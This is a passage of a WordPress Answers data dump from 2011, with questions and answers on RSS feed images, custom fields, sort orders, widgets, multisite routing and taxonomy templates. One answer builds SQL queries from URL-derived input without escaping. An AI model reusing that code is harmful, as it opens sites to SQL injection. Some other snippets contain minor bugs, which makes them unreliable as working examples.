  <row Id="15700" PostTypeId="1" CreationDate="2011-04-26T22:53:06.070" Score="1" ViewCount="282" Body="&lt;p&gt;*&lt;strong&gt;Editor Note&lt;/strong&gt; (Original title: The url from an image via custom field) changed to be more descriptive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hi all, Am not even sure if this can be done but...after ive been searching for the last 6 hours none stop I have to ask :/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a image slider I use which I have to add the image url(not the thumb url) all the time in a custom field (postimage) I have set up a rss feed going in to wordpress from my booru animelon.com/booru It works fine but I need a way to get it to auto add the image url in this custom field&lt;/p&gt;&#xA;" OwnerUserId="4915" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-27T03:06:20.627" LastActivityDate="2011-08-25T10:34:34.017" Title="How to add the image URL from an external RSS feed and insert into a custom field?" Tags="&lt;custom-field&gt;&lt;urls&gt;&lt;image&gt;" AnswerCount="2" />
  <row Id="15701" PostTypeId="2" ParentId="15700" CreationDate="2011-04-26T23:12:13.787" Score="0" ViewCount="" Body="&lt;p&gt;add a filter to the_content that checks if it's a feed and adds the image.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('the_content', 'add_image_to_feed');&#xA;&#xA;function add_image_to_feed( $content ){&#xA;if( is_feed() ){&#xA;    $image = get_post_meta($post-&amp;gt;ID, 'Your Custom Field');&#xA;    $content = '&amp;lt;img src=&quot;'.$image.'&quot; /&amp;gt;'.$content;&#xA;    return $content;&#xA;} else {&#xA;    return $content;&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;at least I think that'll work :)&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-04-26T23:12:13.787" CommentCount="3" />
  <row Id="15702" PostTypeId="1" AcceptedAnswerId="15703" CreationDate="2011-04-26T23:23:32.113" Score="2" ViewCount="41" Body="&lt;p&gt;I run small wordpress blog with 3-5 users. People add/edit/remove and read content all the time... What I want is to be able to see some sort of statistics.... which posts/pages are most popular, most updated, commented... which external links are the ones clicked most times... etc....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is there a plugin (not external service) to achieve that?&lt;/p&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2011-04-26T23:44:00.717" Title="Blog statistics" Tags="&lt;stats&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="15703" PostTypeId="2" ParentId="15702" CreationDate="2011-04-26T23:44:00.717" Score="3" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://piwik.org/&quot; rel=&quot;nofollow&quot;&gt;Piwik&lt;/a&gt; is similar to Google Analytics, but you install on your own server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also- I've seen a private internal intranet site that was tracked on Google Analytics. It was certainly not publicly or search engine accessible, so it is possible to at least use GA on a private site if you're curious to investigate further.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-04-26T23:44:00.717" />
  <row Id="15704" PostTypeId="2" ParentId="15693" CreationDate="2011-04-27T01:11:39.030" Score="1" ViewCount="" Body="&lt;p&gt;First in your category.php (depending on your theme files) add a simple form to let the user sort A-Z or Z-A:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;&quot; name=&quot;custom_order&quot; method=&quot;POST&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt; sort order:   &#xA;        &amp;lt;select name=&quot;CU_Order&quot; id=&quot;CU_Order&quot;&amp;gt;&#xA;            &amp;lt;option value=&quot;ASC&quot;&amp;gt;A-Z&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;DESC&quot;&amp;gt;Z-A&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/select&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt; &#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;cs_action&quot; value=&quot;custom_sort_order&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;sort&quot;&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then using &lt;code&gt;pre_get_posts&lt;/code&gt; hook you alter the query to order like the user has selected:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'pre_get_posts', 'change_sort_order' ); &#xA;function change_sort_order(&amp;amp;$query){&#xA;    if (isset($_POST['cs_action']) &amp;amp;&amp;amp; $_POST['cs_action'] == 'custom_sort_order'){&#xA;        global $wp;&#xA;        if (isset($wp-&amp;gt;query_vars[&quot;CU_Order&quot;])){&#xA;            $query-&amp;gt;set( 'order', $wp-&amp;gt;query_vars[&quot;CU_Order&quot;] );&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and all that is left is to add &lt;code&gt;CU_Order&lt;/code&gt; order to the list of query vars WordPress knows using &lt;code&gt;query_vars&lt;/code&gt; hook:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('query_vars', 'add_custom_order_query_vars');&#xA;function add_custom_order_query_vars($vars) {&#xA;    // add CU_Order to the valid list of variables&#xA;    $new_vars = array('CU_Order');&#xA;    $vars = $new_vars + $vars;&#xA;    return $vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;simpler explanation: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;copy the first code in your&#xA;category.php&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;copy the rest in to your theme's functions.php&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Done.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-27T01:11:39.030" CommentCount="1" />
  <row Id="15705" PostTypeId="2" ParentId="15700" CreationDate="2011-04-27T01:15:05.940" Score="0" ViewCount="" Body="&lt;p&gt;This is a hard one but I think this will work.  Someone please correct me if I'm wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This uses the external Simple Pie library built into WordPress to fetch the feed, get the image url and create a new post for each item and save the image url as a custom field.&lt;/p&gt; &#xA;&#xA;&lt;p&gt;To activate the process we have to hook into wp_cron.  The code below does it daily but it would probably be better to do it weekly to prevent overlap.  Some overlap will probably occur so this still needs a way to check if we have already imported the image&lt;/p&gt; &#xA;&#xA;&lt;p&gt;First we need a function to save the custom field after the post has been created.  This section comes from &lt;a href=&quot;http://wordpress.stackexchange.com/questions/8569/wp-insert-post-php-function-and-custom-fields&quot;&gt;another answer I found on WordPress Answers&lt;/a&gt;.&lt;/p&gt; &#xA;&#xA;&lt;h2&gt;Edit:&lt;/h2&gt; &#xA;&#xA;&lt;p&gt;This needs to be wrapped in a plugin to schedule the cron event and the cron event was missing the action to make it fire.&lt;/p&gt; &#xA;&#xA;&lt;h2&gt;Edit: #2:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I Tested the plugin and made a few edits and it fully works except that the RSS feed we are fetching contains relative urls so in the code the slider code you will need to echo out the domain name then the custom field: ie:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;'&amp;lt;img src=&quot;http://animelon.com&amp;lt;?php get_post_meta($post-&amp;gt;ID, 'feed_image_url', true); ?&amp;gt;&quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Fetch The Feed Image&#xA;Version: 0.1&#xA;Plugin URI: http://c3mdigital.com       &#xA;Description: Sample plugin code to fetch feed image from rss and save it in a post&#xA;Author: Chris Olbekson&#xA;Author URI: http://c3mdigital.com&#xA;License: Unlicense For more information, please refer to &amp;lt;http://unlicense.org/&amp;gt;&#xA;*/&#xA;&#xA;//Register the cron event on plugin activation and remove it on deactivation&#xA;&#xA;register_activation_hook(__FILE__, 'c3m_activation_hook');&#xA;register_deactivation_hook(__FILE__, 'c3m_deactivation_hook');&#xA;&#xA;add_action( 'c3m_scheduled_event', 'create_rss_feed_image_post');&#xA;function c3m_activation_hook() {&#xA;    wp_schedule_event(time(), 'weekly', 'c3m_scheduled_event');&#xA;}&#xA;&#xA;function c3m_deactivation_hook() {&#xA; wp_clear_scheduled_hook('c3m_scheduled_event');    &#xA;}&#xA;&#xA;&#xA;function create_rss_feed_image_post() {&#xA;     if(function_exists('fetch_feed')) {&#xA;            include_once(ABSPATH . WPINC . '/feed.php');               // include the required file&#xA;            $feed = fetch_feed('http://animelon.com/booru/rss/images'); // specify the source feed&#xA;&#xA;    }       &#xA;&#xA;        foreach ($feed-&amp;gt;get_items() as $item) :&#xA;&#xA;        //  global $user_ID;&#xA;            $new_post = array(&#xA;            'post_title' =&amp;gt;  $item-&amp;gt;get_title(),&#xA;            'post_status' =&amp;gt; 'published',&#xA;            'post_date' =&amp;gt; date('Y-m-d H:i:s'),&#xA;            //'post_author' =&amp;gt; $user_ID,&#xA;            'post_type' =&amp;gt; 'post',&#xA;            'post_category' =&amp;gt; array(0)&#xA;            );&#xA;            $post_id = wp_insert_post($new_post);&#xA;&#xA;        if ($enclosure = $item-&amp;gt;get_enclosure() )&#xA;&#xA;            update_post_meta( $post_id, 'feed_image_url', $enclosure-&amp;gt;get_link() );&#xA;        endforeach;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Screenshot of the new posts pulled in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/wGbL1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot of the custom field created:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/xTRWr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-27T06:12:14.603" LastActivityDate="2011-04-27T06:12:14.603" />
  <row Id="15707" PostTypeId="1" AcceptedAnswerId="15710" CreationDate="2011-04-27T02:06:00.570" Score="1" ViewCount="58" Body="&lt;p&gt;Pretty simple, I've written a widget and I can't find out for the life of me where to save it?! Using the most recent version of wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;John.&lt;/p&gt;&#xA;" OwnerUserId="4916" LastActivityDate="2011-04-27T02:28:36.167" Title="Where do I save widget code for wordpress?" Tags="&lt;widgets&gt;&lt;filesystem&gt;" AnswerCount="1" />
  <row Id="15708" PostTypeId="1" CreationDate="2011-04-27T02:06:23.337" Score="1" ViewCount="102" Body="&lt;p&gt;I've enabled my theme with the ability to display the &quot;Featured Image&quot; for the post. However, I'm trying now to determine (1) How to assign a hyperlink to the image and (2) How to call the_post_thumbnail() so that it wraps the hyperlink around the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find where this is supported in the current release of WP, but I'm thinking that I must just be missing something.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;&amp;lt;?php if(has_post_thumbnail() &amp;amp;&amp;amp; get_option('theme_show_featured_image'))&#xA;      the_post_thumbnail('large', array(&#xA;     'class' =&amp;gt; 'alignleft', &#xA;     'style' =&amp;gt; 'margin:0 10px 10px 0;')); ?&amp;gt;&#xA;&amp;lt;?php the_content('&amp;lt;p class=&quot;serif&quot;&amp;gt;Read the rest of this page &amp;amp;raquo;&amp;lt;/p&amp;gt;'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-04-27T02:42:28.503" LastActivityDate="2011-04-27T06:07:02.767" Title="How to add a user defined hyperlink to the &quot;Featured Image&quot; and the_post_thumbnail()" Tags="&lt;theme-development&gt;" AnswerCount="2" />
  <row Id="15709" PostTypeId="2" ParentId="15708" CreationDate="2011-04-27T02:27:35.547" Score="1" ViewCount="" Body="&lt;p&gt;I assume you want this to be output inside of &lt;code&gt;the_content()&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would probably have to define a shortcode that will output &lt;code&gt;the_post_thumbnail()&lt;/code&gt;. You could either define the shortcode to accept a URL as an argument, or else wrap the shortcode with HTML anchor tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you're already outputting &lt;code&gt;the_post_thumbnail()&lt;/code&gt; inside of &lt;code&gt;the_content()&lt;/code&gt;, you could add a custom field into which the user enters a URL, and then, if the URL is present, output anchor tags around the call to &lt;code&gt;the_post_thumbnail()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-04-27T03:22:05.147" LastActivityDate="2011-04-27T03:22:05.147" CommentCount="2" />
  <row Id="15710" PostTypeId="2" ParentId="15707" CreationDate="2011-04-27T02:28:36.167" Score="2" ViewCount="" Body="&lt;p&gt;you can make it a plugin and put it in the plugins folder, or you can make it part of a theme and put it in the theme's functions.php file.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-04-27T02:28:36.167" />
  <row Id="15711" PostTypeId="2" ParentId="15124" CreationDate="2011-04-27T02:43:29.767" Score="5" ViewCount="" Body="&lt;p&gt;In order to do partition your blogs like this you're going to need to write a custom plugin similar to the &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-mu-domain-mapping/&quot; rel=&quot;nofollow&quot;&gt;WordPress MU Domain Mapping&lt;/a&gt; plugin. Here's how your plugin needs to work.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a &lt;code&gt;sunrise.php&lt;/code&gt; file for your plugin, and properly &lt;code&gt;define('SUNRISE',true);&lt;/code&gt; in your wp-config.php file.&lt;/li&gt;&#xA;&lt;li&gt;Create a table which maps the tuples {blog_slug, blog_id, is_archived}&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;sunrise.php&lt;/code&gt; perform the following logic:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$access_url = $_SERVER[ 'REQUEST_URI' ];&#xA;$on_archive = false;&#xA;$slug = &quot;&quot;;&#xA;$parts = explode('/',$access_url);&#xA;for($i = 0; $i &amp;lt; count($parts); ++$i) {&#xA;   if(strpos($parts[i],&quot;yourdomain.com&quot;) !== false) {&#xA;      if($parts[i + 1] == &quot;archived&quot;) {&#xA;         $on_archive = true;&#xA;         $slug = $parts[i+2]; // TODO: Index checking&#xA;      } else&#xA;         $slug = $parts[i + 1];&#xA;      break;&#xA;   }&#xA;}&#xA;&#xA;$blog_id = $wpdb-&amp;gt;get_var(&quot;SELECT blog_id FROM YOURTABLE WHERE blog_name=$slug ...&quot;);&#xA;if($blog_id &amp;amp;&amp;amp; $on_archive) {&#xA;   $current_blog = $wpdb-&amp;gt;get_row(&quot;SELECT * FROM {$wpdb-&amp;gt;blogs} WHERE blog_id = '$blog_id' LIMIT 1&quot;);&#xA;   $current_blog-&amp;gt;path = '/archived';&#xA;   $site_id = $current_blog-&amp;gt;site_id;&#xA;&#xA;   $current_site = $wpdb-&amp;gt;get_row( &quot;SELECT * from {$wpdb-&amp;gt;site} WHERE id = '{$current_blog-&amp;gt;site_id}' LIMIT 0,1&quot; );&#xA;   $current_site-&amp;gt;blog_id = $wpdb-&amp;gt;get_var( &quot;SELECT blog_id FROM {$wpdb-&amp;gt;blogs} WHERE domain='{$current_site-&amp;gt;domain}' AND path='{$current_site-&amp;gt;path}'&quot; );&#xA;} else {&#xA;   // Things went wrong, redirect to the home page, or something&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, populate the fields of your table so that it knows which blogs are &quot;archived&quot;. In production you'd probably want to add some array safety checks, as well as checking that if &quot;blog_a&quot; is archived, then visiting yourdomain.com/blog_a redirects to yourdomain.com/archived/blog_a. All of these things can be handled in the sunrise file.&lt;/p&gt;&#xA;" OwnerUserId="162" LastActivityDate="2011-04-27T02:43:29.767" CommentCount="1" />
  <row Id="15712" PostTypeId="1" AcceptedAnswerId="15999" CreationDate="2011-04-27T03:40:46.820" Score="5" ViewCount="251" Body="&lt;p&gt;I've been trying to wade my way through learning the ins and outs of taxonomies and how to integrate them into themes and I've run into a pretty basic issue that I can't seem to figure out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started working on this in a BuddyPress install using More Taxonomies.  After not being able to get the custom template to load (taxonomy-platform.php) using the rewrite slug of platform... www.mydomain.com/wpinstall/platform  .... I deleted the taxonomies from More Taxonomies (but not the entries in the database for terms), uninstalled More Taxonomies and entered the Taxonomies into my buddypress functions.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I used &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    //hook into the init action and call create_platform_taxonomies when it fires&#xA;add_action( 'init', 'create_platform_taxonomies', 0);&#xA;//create the non-heirarchical Platforms taxonomy&#xA;function create_platform_taxonomies() &#xA;{&#xA;&#xA;&#xA;  // Adding a taxonomy for Platforms, non heirarchical&#xA;$labels = array(&#xA;    'name' =&amp;gt; _x( 'Platforms', 'taxonomy general name' ),&#xA;    'singular_name' =&amp;gt; _x( 'Platform', 'taxonomy singular name' ),&#xA;    'search_items' =&amp;gt;  __( 'Search Platforms' ),&#xA;    'popular_items' =&amp;gt; __( 'Popular Platforms' ),&#xA;    'all_items' =&amp;gt; __( 'All Platforms' ),&#xA;    'parent_item' =&amp;gt; null,&#xA;    'parent_item_colon' =&amp;gt; null,&#xA;    'edit_item' =&amp;gt; __( 'Edit Platform' ), &#xA;    'update_item' =&amp;gt; __( 'Update Platform' ),&#xA;    'add_new_item' =&amp;gt; __( 'Add New Platform' ),&#xA;    'new_item_name' =&amp;gt; __( 'New Platform Name' ),&#xA;    'separate_items_with_commas' =&amp;gt; __( 'Separate platforms with commas' ),&#xA;    'add_or_remove_items' =&amp;gt; __( 'Add or remove platforms' ),&#xA;    'choose_from_most_used' =&amp;gt; __( 'Choose from the most used platforms' ),&#xA;    'menu_name' =&amp;gt; __( 'Platforms' ),&#xA;  ); &#xA;&#xA;  register_taxonomy('platform',&#xA;    array( 'post', 'page', 'mediapage', 'attachment', 'revision', 'nav_menu_item', 'cheats', 'reviews', 'tutorials' ),&#xA;        array(&#xA;            'hierarchical' =&amp;gt; false,&#xA;            'labels' =&amp;gt; $labels,&#xA;            'show_ui' =&amp;gt; true,&#xA;            'query_var' =&amp;gt; true,&#xA;            'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'platform' ),&#xA;  ));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but that still didn't allow it to work properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Let me note here that I have been over-zealous about flushing my rewrites using the Permalinks page save method during this entire process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then rolled back to 2010, and entered that same code into functions.php, and tried again, same result.  The taxonomy showed up under all the post types, it pulled the old term data from the database, entered into posts correctly, but I could not bring up the taxonomy-platform.php page, always getting a &quot;that page could not be found&quot; error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so now I wrote what I felt was a much more dumbed down taxonomy and tried that;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    add_action( 'init', 'create_testtax_taxonomies', 0);&#xA;&#xA; function create_testtax_taxonomies() &#xA; {&#xA; register_taxonomy ( 'testtax', array( 'post', ), &#xA;    array(&#xA;        'hierarchical' =&amp;gt; false,&#xA;        'labels' =&amp;gt; array( 'Testtax', ),&#xA;        'show_ui' =&amp;gt; true,&#xA;        'query_var' =&amp;gt; true,&#xA;        'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'testtax' ),&#xA;        ));&#xA;&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this showed up (although its titled as a second 'Post Tags' in my Posts post type but I figured that's cause I cut down on labeling so heavily), but displayed the same behavior when trying to navigate to www.mydomain.com/wpinstall/testtax&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is my code for the taxonomy-testtax.php page&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;/* This is the custom template for&#xA;* the platforms taxonomy. &#xA;*/&#xA;&#xA;get_header(); ?&amp;gt;&#xA;&#xA;        &amp;lt;div id=&quot;container&quot;&amp;gt;&#xA;            &amp;lt;div id=&quot;content&quot; role=&quot;main&quot;&amp;gt;&#xA;hello&#xA;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- #content --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- #container --&amp;gt;&#xA;&#xA;&amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again, for the moment as simple as possible, but I've also used copies of the index and other various loop-enabled pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated, thanks in advance!  Not sure if I'm missing something simple, or skipping a process in properly enabling taxonomies... just not sure.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Adding some more info to expand on some the answers/comments below (can't find a more efficient way to do this)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had seen a couple posts regarding this kind of issue I noticed some folks were able to flush an entire array of their soft re-write rules from WordPress.  I figured I'd see if I could get the same sort of my print out myself.  First I added;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_footer', 'show_rewrite_rules');&#xA;function show_rewrite_rules(){&#xA;  global $wp_rewrite;&#xA;  echo &quot;&amp;lt;pre&amp;gt;&quot;;&#xA;  print_r($wp_rewrite-&amp;gt;rules);&#xA;  echo &quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, added that to my Functions.php in 2010 (I'm pretty much keeping my 2010 theme and my BuddyPress install/theme uptodate with all these possible fixes and changes and testing in both  - also have disabled plugins again a couple times and done a save as I've tried some of the suggests below).  I got this output;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array&#xA;(&#xA;    [categories/(.+)/search_type/(.+)/order/(.+)/page/(.+)] =&amp;gt; index.php?cat=$matches[1]&amp;amp;search_type=$matches[2]&amp;amp;order=$matches[3]&amp;amp;paged=$matches[4]&#xA;    [categories/(.+)/search_type/(.+)/order/(.+)] =&amp;gt; index.php?cat=$matches[1]&amp;amp;search_type=$matches[2]&amp;amp;order=$matches[3]&#xA;    [categories/(.+)/page/(.+)] =&amp;gt; index.php?cat=$matches[1]&amp;amp;paged=$matches[2]&#xA;    [categories/(.+)] =&amp;gt; index.php?cat=$matches[1]&#xA;    [promotion/?$] =&amp;gt; index.php?post_type=ps_promotion&#xA;    [promotion/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?post_type=ps_promotion&amp;amp;feed=$matches[1]&#xA;    [promotion/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?post_type=ps_promotion&amp;amp;feed=$matches[1]&#xA;    [promotion/page/([0-9]{1,})/?$] =&amp;gt; index.php?post_type=ps_promotion&amp;amp;paged=$matches[1]&#xA;    [category/(.+?)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?category_name=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [category/(.+?)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?category_name=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [category/(.+?)/page/?([0-9]{1,})/?$] =&amp;gt; index.php?category_name=$matches[1]&amp;amp;paged=$matches[2]&#xA;    [category/(.+?)/?$] =&amp;gt; index.php?category_name=$matches[1]&#xA;    [tag/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?tag=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [tag/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?tag=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [tag/([^/]+)/page/?([0-9]{1,})/?$] =&amp;gt; index.php?tag=$matches[1]&amp;amp;paged=$matches[2]&#xA;    [tag/([^/]+)/?$] =&amp;gt; index.php?tag=$matches[1]&#xA;    [type/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?post_format=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [type/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?post_format=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [type/([^/]+)/page/?([0-9]{1,})/?$] =&amp;gt; index.php?post_format=$matches[1]&amp;amp;paged=$matches[2]&#xA;    [type/([^/]+)/?$] =&amp;gt; index.php?post_format=$matches[1]&#xA;    [cheats/[^/]+/attachment/([^/]+)/?$] =&amp;gt; index.php?attachment=$matches[1]&#xA;    [cheats/[^/]+/attachment/([^/]+)/trackback/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;tb=1&#xA;    [cheats/[^/]+/attachment/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [cheats/[^/]+/attachment/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [cheats/[^/]+/attachment/([^/]+)/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;cpage=$matches[2]&#xA;    [cheats/([^/]+)/trackback/?$] =&amp;gt; index.php?cheats=$matches[1]&amp;amp;tb=1&#xA;    [cheats/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?cheats=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [cheats/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?cheats=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [cheats/([^/]+)/page/?([0-9]{1,})/?$] =&amp;gt; index.php?cheats=$matches[1]&amp;amp;paged=$matches[2]&#xA;    [cheats/([^/]+)/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?cheats=$matches[1]&amp;amp;cpage=$matches[2]&#xA;    [cheats/([^/]+)/entry(/(.*))?/?$] =&amp;gt; index.php?cheats=$matches[1]&amp;amp;entry=$matches[3]&#xA;    [cheats/([^/]+)(/[0-9]+)?/?$] =&amp;gt; index.php?cheats=$matches[1]&amp;amp;page=$matches[2]&#xA;    [cheats/[^/]+/([^/]+)/?$] =&amp;gt; index.php?attachment=$matches[1]&#xA;    [cheats/[^/]+/([^/]+)/trackback/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;tb=1&#xA;    [cheats/[^/]+/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [cheats/[^/]+/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [cheats/[^/]+/([^/]+)/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;cpage=$matches[2]&#xA;    [reviews/[^/]+/attachment/([^/]+)/?$] =&amp;gt; index.php?attachment=$matches[1]&#xA;    [reviews/[^/]+/attachment/([^/]+)/trackback/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;tb=1&#xA;    [reviews/[^/]+/attachment/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [reviews/[^/]+/attachment/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [reviews/[^/]+/attachment/([^/]+)/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;cpage=$matches[2]&#xA;    [reviews/([^/]+)/trackback/?$] =&amp;gt; index.php?reviews=$matches[1]&amp;amp;tb=1&#xA;    [reviews/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?reviews=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [reviews/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?reviews=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [reviews/([^/]+)/page/?([0-9]{1,})/?$] =&amp;gt; index.php?reviews=$matches[1]&amp;amp;paged=$matches[2]&#xA;    [reviews/([^/]+)/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?reviews=$matches[1]&amp;amp;cpage=$matches[2]&#xA;    [reviews/([^/]+)/entry(/(.*))?/?$] =&amp;gt; index.php?reviews=$matches[1]&amp;amp;entry=$matches[3]&#xA;    